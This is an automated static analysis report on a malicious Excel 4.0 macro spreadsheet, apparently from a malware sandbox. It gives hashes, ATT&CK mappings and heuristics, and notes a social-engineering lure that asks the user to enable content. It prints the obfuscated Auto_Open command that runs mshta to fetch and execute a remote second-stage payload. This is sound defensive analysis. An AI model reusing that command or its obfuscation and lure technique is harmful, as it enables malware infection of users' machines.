Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 de89d77643105c27…

MALICIOUS

Office (OLE) / .XLS

65.3 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: e7670512af81ed4ffea607d314babcf3 SHA-1: 6b6caa4d72be8946500426551304cdd9c9d2523e SHA-256: de89d77643105c2720d330ef2d04737303b2060a020e42bb3e1cff55b67d137d
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 User Execution: Malicious File

The sample is an Excel 4.0 macro-enabled spreadsheet. It contains an Auto_Open macro that is configured to execute a command. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', indicating a social engineering lure. The extracted macro script reveals the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which reconstructs to 'cmd /c mshta http://0xc12a24f5/cc.html'. This command is designed to download and execute a second-stage payload from the specified URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes